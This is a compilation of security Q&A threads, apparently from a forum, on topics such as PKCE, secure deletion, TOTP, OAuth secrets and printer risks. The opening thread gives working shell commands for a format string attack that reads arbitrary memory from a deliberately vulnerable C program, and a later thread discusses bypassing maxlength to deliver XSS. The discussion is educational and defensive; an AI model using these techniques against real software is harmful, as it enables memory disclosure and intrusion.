Reading off arbitrary addresses in format string attack I am trying to carry out a simple format string attack on this program:

#include <stdio.h>

int main(int argc, char *argv[])
{
    printf(argv[1]);
}

I face no problem leaking the stack in the usual way by passing a format string like this:

./test "%x %x %x %x"

or with direct parameter access like this:

./test "%4\$x"

Next, I am trying to find out the location (nth parameter) of the format string itself in the stack this way:

 for ((i = 1; i < 200; i++)); do echo -n "$i " && ./test "AAAAAAAA%$i\$x" 0; done | grep 4141

Once I know the value of $i (let's say 134) where the "AAAA..." string appears, I should be able to read off arbitrary addresses like this:

./test $'\xaa\xbb\xcc\xdd%134\$s'

I guess it's the traditional way of leaking information through a format string bug (as described in The Shellcoder's Handbook).

However, the format string I am passing is not nicely packed in a discrete $ith parameter (I don't have a better way to phrase it). Interestingly, half of it is present in 133 (upper word) and half of it in 134 (lower word). How am I supposed to pass arbitrary addresses as mentioned above in this situation? I am assuming I have to use a different sort of formatting to catch the exact address, but I am not sure how to proceed.

Also, ./test $'\xaa\xbb\xcc\xdd%134$s', simply prints off the ascii equivalent of those hex values. The argument doesn't exactly work as it is supposed to (I hope I am clear in what I am trying to achieve here). What is the proper way to pass these addresses?

If it helps, I am on Ubuntu12 i386 and using Bash.

It was rather trivial. Modifying the previous example a bit,

for ((i = 1; i < 200; i++)); do echo -n "$i " && ./test "BBAAAACC%$i\$x" 0; done | grep 4141

the upper word of location 129 is filled with the B's, and the lower word of location 131 is filled with the C's - with the A's nicely sandwiched in the middle at location 130. So I simply had to pass the address padded with two extra bytes both at the beginning and at the end. I also figured out how to pass the hex values with printf in bash.

To verify it's working, I picked up the address (0xbffffe2c) of a known string "HOME=/home/arman" and passed it as an argument like this:

./test AA$(printf "\x2c\xfe\xff\xbf")AA%130\$s

Bingo! The string is printed like this:

AA,���AAHOME=/home/arman

EDIT: The padding at the beginning is not really required. This works perfectly as well:

./test $(printf "\x2c\xfe\xff\xbf")AA%130\$s
,���AAHOME=/home/arman


When using PKCE, are the state and nonce parameters still necessary protection from csrf and code injection? When I'm using the authorization code flow with PKCE do I still need state and nonce?
For state (that prevents login-csrf), if an attacker sends me a malicious Authorization Response, the client may accept the response, but in the end no token can be retrieved, as the code_verifier would not match the one for the code (as this was generated by the attacker).
For nonce the same is valid as far as CSRF is concerned.
For code injection attacks, an attacker that has stolen a valid code through a redirect can't make the client to exchange it to a token, as the client would not know the code_verifier for the code in the current context.
Is my reasoning correct? Am I missing some attack scenario?

My answer tries to give a short sum up of the most important information, based on Daniel Fett's article "PKCE vs. Nonce: Equivalent or Not?". For a detailed descirption of attacker models and in-depth attack descriptions, please refert to this article.
Protection against CRSF and Code Injection
PKCE and nonce both protect against most CSRF attacks, but there are edge cases where nonce provides less security, c.f. the previous mentioned article.
While Nonce and PKCE provide both safety against code injection for confidential clients, public clients must use PKCE to protect against code injection.
Why you might want to use an additional nonce
You may want to comply with the specification. Following the OpenID Connect Core specification, the nonce is required for hybrid and implicit flow.
Why you might want to use an additional state
The state provides security against attacker-forged error responses, which is not prevented by PKCE specification:

When state is used for CSRF protection, OAuth error responses from the authorization endpoint must contain this parameter as well, providing protection against attacker-forged error responses. If only PKCE or Nonce are used for CSRF protection, error responses can be spoofed. [df20]

However, by simlpy returning the code_challenge on error, PKCE can be hardend against this attack.
Attention using PKCE & state & nonce together!
It is totaly possible to use those three together, but there are some pitfalls regarding the verification.

To avoid sidestepping or downgrading the PKCE and Nonce checks, authorization servers and clients need to agree on and continuously use one of the methods. For deployments with both OAuth and OIDC flows, PKCE should always be used and Nonce can be used additionally for OIDC flows.

The implementation of a combination is more complex and thus might easier lead to implementation errors. The parameter to verify needs to be choosen wisely for every situation and security goal.


Vault Secret server best practices Recently Hashicorp released a secrets management solution called Vault.

It is a free and open source general secrets storage and secret generator, acting as a Vault for passwords, encryption keys, and hash salts.

I am wondering if anyone has started using it, and what are best practices for using it?

Has anyone heard any security flaw with it?

Should have a look at this:

https://vaultproject.io/docs/secrets/ssh/index.html

Basically Vault (note the answer time) can create one time credential for people to use for SSH.

Most of its security back ends are focused on one time or short lease credentials which keeps rotating, and Vault becomes the central token vending machine.


Can a cellular base station be accessed from within the 4g network it provides? Cellular base stations can be accessed directly via the internet for maintenance purposes, they have control ports such as ports 5700, 5701, 5702.

What I'm wondering is if I connect my device to the 4g network a cellular base station provides can the 4g network be accessed directly?

To put it simply when you are connected to a WiFi access point it is possible to access the gateway router, commonly using the address 192.168.0.1, or 192.169.1.1 depending on your router configuration.

So is it possible to directly connect to the cellular base station as a gateway?

The IP part of the cellular connection is added down the line somewhere in the core network (the BTS is pretty much just a dumb radio frontend), so the phone can't directly reach the base station over IP by looping back inside the BTS, as it does not talk IP to the phones.

However in case of misconfiguration nothing prevents the phone from accessing the BTS by going through the core network and back into the BTS over IP. In the scammy mobile telecoms industry security is a very low priority and I wouldn't be surprised if you could find a "secret" APN that gives you direct IP access to the core network.


How to securely delete full vm We have a Windows 7 virtual machine on VMware Workstation 11. The VM is now encrypted (using Workstation) but wasn’t always. The VM has confidential information on it and as we no longer need it, we would like to securely delete the full VM. What is the safest way to securely delete the whole VM? Would it be to secure delete all files in the VM folder?

VMSphere Documentation Centers recommends zero-ing out the entire contents of the file before deleting. While I understand you are running, VM Workstation 11 the same logic would apply. It is recommended that you boot the VMFS from CDROM/ISO that contains a program to wipe a hard disk (e.g. DBAN, etc.), wipe the entire contents then delete the .vmdk.

For further assurance, you could follow the directions of @Tim and @John. You could use a program like CsCleaner, sdelete from MS SysInternals, or other file deletion tools to delete the .vmdk. However,  if you will continue to use the physical hdd, it is important that you use full disk encryption until the time comes to decommission the physical drive, when you securely wipe & destroy it.


Is Windows 10's TRIM implementation secure In terms of data deletion everyone knows that once you delete something from your harddisk it stays there, and is recoverable, until it is overwritten.

With classical spinning harddrives, the best solution was to overwrite the entire drive, several times, with random data.

With solid state drives, this is no longer the case due to drive constraints such as over-provisioning and wear-leveling. However, the ATA TRIMcommand, theoretically, should produce a voltage spike in every NAND cell of a drive, rendering any data stored there irrecoverable.

My question is this: is Windows 10's implementation of the TRIM command (through the old disc defrag screen) secure?

Just quickly addressing some broken premises in the introduction of this question. These will form the basis of an answer, which can be best summarised by the following: it depends...

... and unfortunately it can't just depend your storage device (though that is central to the discussion); it also depends upon various factors such as your OS (e.g. Windows 7 doesn't support TRIM for PCIe SSDs) and BIOS information (for some SSDs), and could even extend to the rest of your architecture (e.g. CPU, RAM, storage controller) as other components of your system might leak data from the file system.

  In terms of data deletion everyone knows that once you delete something from your harddisk it stays there, and is recoverable, until it is overwritten.

According to a publication by the Trusted Computing Group dated October 1, 2011:

  Within 2 years (by 2013) SED capability will be in over 80 percent of SSDs and likely in almost all SSDs within 3 years (2014).
  By 2017, almost all HDDs will include SED capability.
  By 2016 the high, median and low estimates for security adoption for SED HDDs are 411 million, 315 million and 122 million units.

Assuming these expectations have been met, one might have a very difficult time indeed recovering any data from a self-encrypted device following a modification to the key. To emphasise, the best solution for secure erasure of these newer encryption-supporting devices (both rotational and solid-state) is changing the encryption key, as opposed to...

  With classical spinning harddrives, the best solution was to overwrite the entire drive, several times, with random data.

Even then, by examining the physical media of a newly produced, unused product compared to a used product, a forensic analyst could quite possibly draw conclusions based on slight residual leftovers. This kind of attack has been demonstrated quite publicly using volatile RAM (such as that which exists as cache memory in disk drives), so it's likely to work for the non-volatile stuff (such as flash memory), too. The security of an entire system is, after all, limited to the weakest link, which might not be the drive in question.

I imagine there are the following complications to extracting information from the drive alone:

Encryption. We've already established that current drives (whether rotational or solid-state) are likely encrypted (transparently to external devices), and this is likely to impact upon success rates. If the key can be extracted from the device (which I imagine would be quite a bit more difficult than extracting keys from SIM cards, given how far we've advanced since the introduction of those), perhaps a forensic analyst could piece together some data. However, it seems manufacturers are keeping their precise encryption specifications in-house, so obtaining the required information (such as where exactly the key is stored) could be difficult.
Wear leveling. The Achilles heal of the solid state storage, as it seemed initially; wear leveling was designed to distribute writes evenly across a drive, but there are multiple forms of this. All of them leave stale data, which is a double-edged sword as that data will indeed exist for all of time, unerasable, though likely to complicate the integrity of recovered data. Additionally, TRIM was not designed as a security feature, but a garbage collection feature; it exists to facilitate data reorganisation, perhaps at a later date. Part of the analysts job would be reversing the reorganisation which the GC might perform and excluding any bad flash cells (again, akin to extracting keys from a SIM card, but likely more difficult due to progress in technology). I don't imagine this would be a particularly easy job; it'd also involve some amount of data deduplication to recognise when and where data has been relocated in some instances.

These points are mentioned in another paper, dated 2014, where the entire article seems to paint a dire picture for our theoretical data recovery Scenario.

On the one hand, this article mentions the existence of bugs which might aid in recovery. On the other hand:

  Self-encrypting SSD drives require a different approach altogether, while SSD drives using compressing controllers cannot be practically imaged with off-chip acquisition hardware. ...
   And even shutting the affected computer down immediately after a destructive command has been issued, does not stop the destruction. Once the power is back on, the SSD drive will continue wiping its content clear all by itself, even if installed into a write-blocking imaging device. If a self-destruction process has already started, there is no practical way of stopping it unless we’re talking of some extremely important evidence, in which case the disk accompanied with a court order can be sent to the manufacturer for low-level, hardware-specific recovery.

The emphasis here was not mine. As mentioned in the comments, Windows does not control the erasure and/or reorganisation of data; that happens within the drive itself, and it starts happening the moment the device is powered up.

  Some SSD drives implement what is called Deterministic Read After Trim (DRAT) and Deterministic Zeroes After Trim (DZAT), returning all-zeroes immediately after the TRIM command released a certain data block, while some other drives do not implement this protocol and will return the original data until it’s physically erased with the garbage collection algorithm.

In summary, based on this information, I would not feel so confident recovering data from a system built by someone who has shopped around to find the least recovery-friendly configuration. However, data recovery from a typical impulse buy might be more successful. Might.


Configure OpenVPN as a local proxy to use it only when needed First, I think it is the proper place to post my question (and not serverfault or networkengineering). If not, please tell me what's the correct place.

I used FreeGate. I configured the Firefox extension autoproxy for tunneling through FreeGate only the pages are banned (autoproxy uses a black list of banned pages).

I wonder if it is posible to do the same with OpenVPN. Actually, I'm using SecurePoint OpenVPN with VPNBook. Maybe it is posible together with a proxy server like Handcrafted FreeProxy?

OpenVPN is a different kind of tunnel. Proxying is application-to-application. Your browser (completely independent of the rest of your computer) decides to send its traffic through a proxy server running somewhere else. This can be done for on a request-by-request basis if necessary, because its up to the application to decide where its sending its requests.

OpenVPN, on the other hand, works at the network level. You run a program that alters your computer's network configuration. Typically a new "virtual" network interface is created and configured, and your computer's network routing rules are typically changed to send traffic through it based on your pre-established configuration. This is system-wide, and effects all programs running on your machine. There are definite setup and tear-down steps which take several seconds or several tens of seconds, and it's not feasible to do on a per-connection basis.

That said, there may be a sort of hybrid approach. For example, you can create a standing OpenVPN connection which isn't your default route, but which connects to a private network on the othe side (say a 192.168.x.x network for example), and you can set up a proxy machine on that foreign private network. You use your existing techniques to send the desired traffic to the proxy on the other side of the VPN, effectively getting you control over which traffic uses the VPN.

The overhead of OpenVPN is low; so it can be open while you're not using it without consuming significant bandwidth or CPU time. The setup is simple enough, but takes some doing. Obviously you'd need some control over both the VPN configuration and the proxy server on the other side of it. But it can be done.


Spoofing OS during browsing I am using http://www.mybrowserinfo.com/ to gather some info about me while browsing.
I want to change my OS to appear that its a Windows Xp machine.(No VM solutions please:D)

If you have any related material how this sites fingerprint you please add it also.(same way as Nmap ? specifics in TCP/IP stack ?)

I suspect it is looking at the user agent in your http request. Try setting the user agent in your HTTP request to Windows NT 5.1

Reference: http://msdn.microsoft.com/en-us/library/ms537503(v=vs.85).aspx

If you don't want to do this manually, there are a number of tools out there that will let you specify this point/click style.

Here is a good article that talks about how to start Chrome with a different default user agent:
http://www.parmiter.com/applications/2012/02/RP773


Investigate compromised Linux server I'm investigating a server that pings throughout the day to random IPs on the internet. I set up IPtables to log and drop (INPUT & OUTPUT) packets but I still see icmp traffic on the network firewall. I can't seem to track the process that is initiating these.

Looked at a lot of questions regarding network traffic with tcp/upd ports but icmp does not use ports.

Find out what Linux software is trying to phone home

https://unix.stackexchange.com/questions/306524/monitor-which-application-generate-icmp-ping-traffic

I've tried iptables, tcpdump, lsof, and netstat. I've probably not used them correctly or quick icmp packets are hard to trace down.

Red Hat Linux 5.x VM and I can't upgrade because it runs legacy web pages

Here is a pastebin link to the IP list

Chain OUTPUT (policy ACCEPT 2129K packets, 1555M bytes)
 pkts bytes target  prot opt in  out  source   destination
 2834  248K LOG     icmp --  *   *    0.0.0.0/0  0.0.0.0/0 LOG flags 8 level 4
 2834  248K DROP    icmp --  *   *    0.0.0.0/0  0.0.0.0/0

Dec  6 14:51:41 xx kernel: IN=eth0 OUT= MAC=00:0c:29 SRC=72.204.209.197
DST=x LEN=96 TOS=0x00 PREC=0x00 TTL=252 ID=29693 PROTO=ICMP TYPE=3 CODE=13
[SRC=x DST=192.168.224.161 LEN=60 TOS=0x00 PREC=0x00 TTL=61 ID=56354 DF PROTO=TCP SPT=53646 DPT=17778 WINDOW=5840 RES=0x00 SYN URGP=0 ]

Given that one packet in the log snippet above, your system is not "pinging" random IPs on the internet. "Pinging" refers to ICMP type 8, an echo request. Looking closer at the packet:

PROTO=ICMP TYPE=3 CODE=13

Type 3 is Destination Unreachable (RFC792), and code 13 is Communication administratively prohibited (RFC1812). So this means your server is not reaching out to remote hosts, but rather is sending these ICMP messages in response to some traffic that is reaching it, which it appears to be refusing to forward. Without seeing the traffic that prompted these control messages, it is difficult to know exactly what is going on. I suggest that you look for anomalous traffic with matching addresses that immediately precedes these ICMP messages.


Whitelist Application For Windows Server 2012 My problem

I am looking for an application which runs on Windows Server 2012 for security reasons. Our server began attacked on many protocols. They are trying brute force attacks with very weak passwords. It is just annoying and just slowes down the server.
So we decided to use Blacklisting programs (after 3 tries it creates a firewall entry for it's IP) but we want a better solution.

So, I need a program which provides these functions:

Diables every ports except 80, 443 etc. and one for a custom authentication method
Runs a port for authenticating the team members (developers, testers etc.) with a custom method which is not popular enough for hacking
After successful authentication it would open each port that is required for the user to work just for it's IP.
Keeps wathing when the IP address of authenticated users changes. It's because of home office workers.

My questions are:

Is it worth at all to change Blacklist to Whitelist?
Could you suggest me some solutions that are already exists?
Is it a good idea to program it by myself?

Is it worth at all to change Blacklist to Whitelist?

Possibly. Whitelists are nearly always better but hard to say for sure from what you've said.

  Could you suggest me some solutions that are already exists?

I'm a little confused here. The "best" solution to this problem is nearly always a dedicated firewall. Is there a reason you are not using that?

You really need to give us some more information about the server and what it is doing and in what environment. As others have commented, a VPN might be the best solution for your developers and admins.

  Is it a good idea to program it by myself?

No! It is never a good idea to do that. You will never have the level of resources available to people and organisations who's sole purpose is to produce security solutions.


Can an unlisted directory on webserver be discovered? Assume the following sample directory:

- /
- /images
- /28374728127636438
- /css

Directory listing is disabled on the server and the directory named 28374728127636438 never linked anywhere on the actual web page. This directory contains the backend of the web site. It is secured by a http auth and php login, but can an attacker still find this directory? Is there some method to force a web server in listing files and directories? Does security through obscurity work in this case?

edit

Note: I am on shared webhosting. I cannot control anything outside my htdocs folder and only have .htaccess available. All directories that contain PHP or template code have a

deny from all

in their .htaccess and other folders have an empty index.html along with options -Indexes to avoid listing.

Arguably if there's enough entropy in the folder name then it may provide some benefit in a layered security approach (ie. one of many controls you have implemented). Doing so may help to cut down "noise" from attackers who don't really pose a significant threat, however you cannot depend on an attacker not finding the folder name because it can be leaked too easily.

For example, the directory name might be leaked via the HTTP referer header or it could be leaked if your application has a vulnerability which allows an attacker to list directories.

If the contents of this directory are important then use strong authentication and access control. I'd recommend implementing IP white listing if possible, and if these are static resources that need to be accessed by the public (eg. attachments) then store them outside the document root and have your application proxy (ie. read and output) them to users following appropriate authentication.


Is always using HTTPS a good idea? OK, this question might seem a no-brainer for a professional but keep in mind I am not a professional web developer so my knowledge in this field is very limited.

I have been pondering over time trying to decide if I should make my website accessible with both HTTPS and HTTP (the less important pages not needing encryption) or if I should only use HTTPS for all the pages in my website.

The reason I did this is because I'm afraid a Man in the middle attack could theoretically inject JavaScript code inside the web page when one of the users is trying to browse the website and cause unwanted behavior (such as stealing the authentication cookie or other stuff).

So, what I would say is that my questions basically boil down to:

1) Is this a mistake? Do I really need HTTPS everywhere. It's more computation. And no, I don't live by the - why worry about computation in today's day and age? With the current hardware you should be able to count the number of atoms in a sandwich in less than a day - type of mentality. I think it's a bad mentality for a programmer since it invites sloppy inefficient algorithms to be written. If there's a better way of doing things that allows for lesser computations then I would like to hear it.

2) Is it still somehow possible for a person to inject unwanted code in my webpages when they're in transit to an end user even if I use TLS certificates? I know it sounds impossible but, like I said, I'm not an expert so I would want to hear your opinions.

3) Finally, is HTTPS a good way of preventing cross-site request forgery attacks? I heard somewhere that it is although I couldn't understand the logic behind it. The best it can help with, as far as I see it, is allow the end user to realize that the fake webpage is not secured and help him figure it out that something is fishy. Does it help in any other way other than that? Or do I need to implement some extra fail-safe mechanisms to prevent that?

Thank you for your time!

Also, in response to the duplicate reaction, I still believe that this question is also somewhat original in regards to the fact that I did additionally ask about the computational requirements for a solution as well as asking if XSS can be used even with TLS used

As with all things in security, using HTTPS is a trade-off.  You're trading some performance and potentially customer inconvenienace for improved security and other possible benefits (for example google boosting the ratings of SSL enabled sites).  Only you can answer whether that's worth it, as only you know what your site does and whether the trade-off is worth it.  As a rule of thumb, I'd say that if you're processing any personal or sensitive data for your users it's likely worth it. If you run a purely static brochureware site it's likely not. One thing is, if you do do HTTPS (e.g. because you have a logged in section) do it all over the site, not just in places.
In the general case it wouldn't be possible for attackers to inject code into your site,  but the full picture could be more complex than that, depending on what your site does and who is likely to attack it. Safe to say that in most cases it makes it a lot more difficult for this to occur.
HTTPS generally does not protect against CSRF attacks.  If an attacker can cause a logged-in user to take an action on your site, the fact that the action is taken over an encrypted connection does not, in and of itself, make that any different.


Can APK's installed from unknown sources without special permission be considered safe? If i choose to install downloaded APK files from unknown sources, can it log keystrokes or install malware without additional permissions?

Currently users don't have to grant internet permissions when installing apps. For example if you download Soundcloud or Spotify from the Google playstore, you won't be asked to grant the application internet access.

Is internet access only enough to be infected? I don't care if the app is unstable, or use a lot of resources as long as privacy isn't an issue here.

An app that maliciously exploits some system vulnerability may be extremely dangerous, and does not need "suspicious" permissions.

Apps that you download from the official Play Store undergo some (undocumented) verification process which includes anti-virus scan, but most importantly are banned as soon as some malicious activity is detected by Google or other organizations that specialize in monitoring such threats. This does not mean that you can be sure that an app that you install from Play Store will do no harm, but the risk is significantly higher outside.

I would recommend to have an anti-virus app if you need a sideloaded app which you cannot trust, and if you can, use such app on a secondary device that does not hold your vital data.

Also, Android is constantly upgraded to fix many vulnerabilities, therefore latest system may be safer. If you can, use the latest system.

Use Google's Verify Apps which is part of the Play Services. It can identify some harmful apps. This means that it is worthwhile to use a device with Google Services installed and up-to-date.


Is it possible to forge post request and bypass maxlength in input box? I have input box with maxlength=12, and that input box is vulnerable to xss.

But because of maxlength 12 it is not possible to construct any really valid xss vector. The user input is stored in the attribute value="user input". When the user intercepts the post request with burpproxy, he can change post parameters and cause xss.

Now my question is it is possible to make a post request from other site which bypasses the maxlength element. On my exploit attempts, it takes me to the page where input box is located, and it cuts off everything past the 12th character.

Can that post request be forged and maxlength bypassed to exploit the xss issue?

This is form search on page with maxlength :

This is my try to exploit it from my page:

When I click exploit page button it just sends me back to the main page and input is cut off at the 12th character.

Yes. It is possible. Maxlenght is a html attribute in client browser's DOM object.

Maxlenght is significant only in the client browser, it is not significant on server side unless you code the server side to validate input length.

If you are using a intercept proxy which doesn't create DOM object can easily bypass the Maxlength or any other parameter and javascripts too.

Bypass can be done via a different domain/web page with different html attribute that does not put any restrictions on input length to cause XSS.

Sounds like the type of XSS you are attempting is a server side Non-Persistent XSS flaw -
User input consists of malicious code that get returned in server's response to the request, it doesn't get stored in the web app so it is specific to that request.

I think you need to improve the javascript you are using to exploit XSS. onmouseover="alert(0)" cannot exploit XSS, it is just a DOM based local action to client browser, onmouseover will not send the input to the server to get returned back to the client. Your javascript must be sent to http://www.site.rs/usersearch.php and returned back by the server.


What are currently used types of certificates and what they can be used for? There are a lot of different certificates. But how do they differ?

There are certificates for "code signing". Certificates for SSL websites. Why WWW certificates cannot be used for code signing? For me, certificate is certificate and has public and private key. And (i think) all certificates are the same. What are types of certificates (most common) and how do they differ so one can't be used for other activities?

Tried looking for comparision, but couldn't find any good source.

The simplest may be to quote RFC 5280, section 4.2.1.3: Key Usage:

  The key usage extension defines the purpose (e.g., encipherment,
  signature, certificate signing) of the key contained in the
  certificate.  The usage restriction might be employed when a key that
  could be used for more than one operation is to be restricted.

There is also the Extended Key Usage section.

You will find lists of key usages in both sections. The key usage dictates what a given key can be used for. There are some fields needed based on the type of usage, but those could be set (or not) regardless.

As for why we don't just have one certificate to rule them all, you could craft a certificate allowing all uses, but that seems unwise. The general rule in privileges is to grant exactly what is needed and no more.

For example, most web servers need only Key Encipherment, Signing, and Server authentication and would not need Client authentication if they do not make use of it.


How to track down and remove Mac malware that is calling out? Little Snitch periodically brings up a dialog that says:

Terminal via node wants to accept an incoming connection from X on port 3000 (remoteware-cl).

X are different IPs in eastern europe. A full Sophos system scan did not find the malware. I can determine which process is opening the connection with lsof -i tcp:3000. Once I have the pid, how can I determine how the process started, and how do I remove what's starting it / prevent it from starting again?

ps l [pid] will list, among other things, the "parent process ID" (PPID) of the process. (If the parent process has exited, though, that information is lost and PPID will be 1.) ps eww [pid] will list its environment variables, which may give a hint where it came from.

Are you sure this is malware and not an unexpected behavior of something you're doing on purpose? Does it happen even if you aren't running Terminal.app?


Can a Time-based One-time Password (TOTP) key be decoded from generated values? If you have access to generated Time-based One-time Password (TOTP) values, is it theoretically possible to decode the secret key?

If yes, how much time and about how many generated values are needed?

TOTP is explicitly designed to resist this.

TOTP is based off of HMAC-based One-time Password (HOTP), which works as follows:

Two parties share a randomly generated key, k, generally called the "shared secret". This key must remain private.
Both parties maintain a counter value, c, that is incremented whenever authentication is performed.
Authentication is performed by computing HMAC(c, k) where HMAC is some HMAC function such as HMAC-SHA256. The resulting hash value is then processed to extract some number of bits, which can then be transformed into a number of decimal digits in order to produce an authentication code. This extraction and transformation is generally called "truncation" in this context.
The party that needs to be authenticated (e.g. a user) sends the digits to the other party (e.g. a server), who computes the the same hash value and performs truncation and compares it to the digits provided. If they match then the user is authenticated.

Since both sides know the same key and (theoretically) maintain the same counter, they can always authenticate together. Usually the party doing the authentication adds in some leeway for counter desync, e.g. by computing all the possible codes from c to c + 5 an accepting any that match. This results in a security reduction but allows for some counter desynchronisation between parties.

TOTP modifies this scheme so that c is replaced with ct, which is a time-based value. The value of ct is calculated as ct = (t - t0) / tx, where t is the current time (e.g. in Unix epoch seconds), t0 is the time at which the token was created, and tx is an interval time such as 30 seconds. Effectively what this results in is a ct value that increments every 30 seconds. As long as both parties' clocks are roughly synchronised and are not skewed (they may have different clock times set, but t0 compensates for that as it is set independently by each party) this results in both clients producing the same TOTP outputs at the same time.

Breaking this scheme by only knowing what digits were given out (even if millions of codes were known) is not feasible as it would require a full key recover attack against the HMAC hash algorithm (e.g. HMAC-SHA1 or HMAC-SHA256) which has not yet been done. For proper HOTP and TOTP implementations you are protected against key recovery and even counter recovery.

However, not all implementations use a proper HMAC function as the keyed PRF. Some HOTP implementations, such as those in radio-operated garage openers, utilise a proprietary PRF or even something like CRC32 in order to generate the hash value before truncation. These can usually be broken by recovering a few values becuase the search space is so small.


Picked up used HP Envy 5530 printer, concerned about potential security risk, am I paranoid? I just picked up a used HP Envy 5530 multifunction printer for $3 at a junk shop. The printer appears to be working and I would like to give it to my parents who need a new printer.

That said, I am concerned that the printer may pose a security risk based on articles I have read that show how badly secured and potentially compromised many IoT devices are.

I have no specific reason to believe that this printer is infected with malware, I am just concerned that it may be based on my very limited understanding of computer security and what I read in the tech news.

What I know about the printer (this is based on connecting to it directly - i.e. I turned on its wifi direct feature and connected to it via wifi from an old macbook that is running chrome OS - which I can wipe clean after this session):

It runs a web server that is used to control its more advanced
functions.
There is no password set by default on access to this server.
Running a port scan on its IP address (192.168.223.1) gives
        me the following open ports:

80 (http)
443 (http over ssl)
8080 (http proxy)
It is already running the latest version of the firmware from HP
By default it includes AirPrint, HP Wireless Direct (which I am
using to connect to it at the moment), and has the Internet Printing
Protocol enabled.
It also includes the ability to install "apps" from the HP store,
but this functionality does not appear to have been enabled when I bought it.
I can look at the logs that the printer keeps and see that it was
used (at least as far as these logs indicated) for a grand total of
45 pages.

Searching this forum came up with some results that are interesting, but the bit I am not clear on is the "connected directly to the internet" part.

This post: Attacking an office printer? discusses how vulnerable printers are (and, in fact this printer follows the bad practice of not having even a default password). But presumably (though I have no proof of this) this machine was always connected to the internet via a consumer grade firewall. Does that mean it is protected (to the extent that the consumer grade firewall actually works)? What about the Internet Printing Protocol?  The blurb on that page seems to indicate that that means one can print from anywhere on the internet. How does this device expose itself to the internet such that that is possible (especially if it is behind a router using NAT)?

Should I risk plugging it into my local network? Would you?

If the printer is behind a NAT, computers on the Internet can not connect directly to the printer. Whether or not the printer supports IPP makes no difference.

The open ports and the missing default password do increase the attack surface, but do not indicate any vulnerabilities that can be used to access the printer. It may well be possible for an attacker to print something on the printer without permission, but I find it unlikely that the printer has malware on it.

That said, I don't know the specifics of this printer and it is impossible to say whether it is infected without further investigation.

Before connecting the printer to the network, it would be a good idea to reset factory default settings on it, and set a password.


OAuth authorization code grant with exposed client secret Let's assume that a client has the client secret exposed somewhere.
What are the risks that the client and its users are exposed to?
Are those the same as having implemented the implicit flow from the begin with?

I would say that, the risk here is for an attacker stealing a code, and since the client secret is available, assuming no other form of client authentication is performed, then the attacker would be able to exchange the code to token. So it looks like it's similar with the risks of implicit flow, but a bit more secure since by default the tokens are not exposed in the user-agent (implicit flow could use for example response_mode=form_post and avoid that scenario)

Yes, exposing the client secret would increase the risk of a token being compromised, but there are other pieces that would need to perfectly fall into place for that to happen. If we look a an example POST for a token in the Authorization Code Grant Flow:

POST /oauth/token HTTP/1.1
Host: authorization-server.com

code=Yzk5ZDczMzRlNDEwY
&grant_type=code
&redirect_uri=https://example-app.com/cb
&client_id=mRkZGFjM
&client_secret=ZGVmMjMz

Implementation may differ in slight ways but let's look at a couple other pieces of information (in addition to the client_secret) that the attacker also needs to get a token:

code - The authorization code that is granted is typically single use only. Obtaining a code would mean having access to an authorized user's account and completing the authorization request prerequisite to this grant type.

client_id - While not a 'secret' per se, this is the registered applications id which would need to obtained and is not usually something that is guessable. (though I suppose if the attacker has the client secret, they also have the id? Seems odd to have obtained one and not the other)

The authorization code is definitely added security compared to implicit grant, but also like you suggested, Auth-code is much more secure because the token is not meant to be returned to the user-agent (browser). It's more commonly implemented in a backend/frontend application with the code/token exchange happening in the backend.


Question about a simple strong password management system I am designing a system which requires access control via a strong password and for that purpose will use a password generation algorithm A that produces a strong password of length L >= 32. The system would check for the password and, if the password is incorrect in several consecutive attempts, block the user from further logins for some period of time.

In addition, the system should:

generate a long strong password
password must be unique in the world,
allow for an easy password change,
require no authentication (i.e. users supply only password, but no user name),
be simple in implementation and in use.

Because I have no hands-on experience in security issues, I would greatly appreciate if the security gurus could critique the following simple, and, perhaps naive, design:

Invoke the same known algorithm A (say, a good one-way hash function, a UUID generation algorithm, etc.) T times, where T is a very big number, at least a billion.
Record all T generated different passwords in a file,  a password per line.
The user shall pick a number N (perhaps randomly generated) between 1 and T and remember that number in his or her head.
When asked for a password, the user would look in the file at position N, copy the password at that position and paste it to the program that asks for a password.

Comments:

A. It appears that a person can remember a number between one and a billion without much trouble, as it has less digits than a US long distance phone number.

B. As long as the file is not lost (it can be replicated), the user will always have the right password.

C. The password can be changed easily any time by regenerating the whole file and picking a new password at the same position N. The user will not need to remember the new password -- using the same number N would result in a new password.

D. If an attacker gets a hold on the file with a billion passwords and tries repeatedly to login in order to find the correct password, then most likely it would take a very long time (years or may be centuries) because the system would keep blocking the user after just a few failed attempts.

E. Because of D, the password file can be kept in plain-text, no encryption is needed.

Question:

What is wrong with this kind of system?

If you assume the attacker has the file, then you're actually relying on the number N as your password. You have stated that this is a user selected number, and it's likely that users would just chose (for example) 111....111, 123..., 000...000, or something similar.

This could be countered by telling the user what value of N to use at "generation time", however, it's likely that the user would write it down or similar. Humans don't remember long-distance phone numbers any more, heck, I don't remember any phone numbers anymore!

You've also stated that the number N maybe upto a billion or so, or roughly 10^9. This gives your password scheme quite a low entropy overall.


Can freezing the browser be considered a security vulnerability? If I can write a client script (a piece of JavaScript code) that can freeze the entire browser, a force quit/kill being mandatory, is that considered a security issue? If so, what's the type of this bug (a more generic name)?

I remember few months ago someone reported a bug in Chromium that was crashing the current tab when hovering a specific link, and that was labelled with the security tag.

Is it possible to get some profit from bounty programs by reporting such a thing?

Freezing a browser is a "Denial of Service" attack to an extent. You are "denying" someone usage of a service, in this case an application. A vulnerability that leads to a Denial of Service. I have done this in the past as a proof of concept against "IE" with a divide by zero javascript.

Most vendors that offer bug bounties offer them based on the ability to exploit a vulnerability in such a manner that could lead to "code execution", "data loss" or something along those lines. Most vendors will tell you "what" they are looking for with their bug bounty programs in their FAQs. Crashing a browser is more of a DoS, developer issue versus an exploitable (oh you can trigger code execution!) one.

So that answers your question but just in case, here is Mozilla's FAQ:

Security bug must be original and previously unreported.
Security bug must be a remote exploit, compromise user data, allow
access to Mozilla infrastructure or resources, or easily manipulate a
user.
Submitter must not be the author of the buggy code nor otherwise
involved in its contribution to the Mozilla project (such as by
providing check-in reviews).
Employees of the Mozilla Foundation and its subsidiaries are
ineligible.


Local Video Screenshot during Netflix I was just binge watching Netflix from my MacBook Pro on a TV streamed using HDMI. It automatically started the final episode of the season but about 20 seconds into it, a screenshot from a local video file on my computer appeared on my screen for about 3 seconds, after which the Netflix show continued. The screenshot was from a personal video on my local machine that I haven't opened in a month and wasn't opened at the time.

Not sure how to explain what happened. Tried rewinding the Netflix video but did not see the screenshot again. Has my machine been compromised in some way?

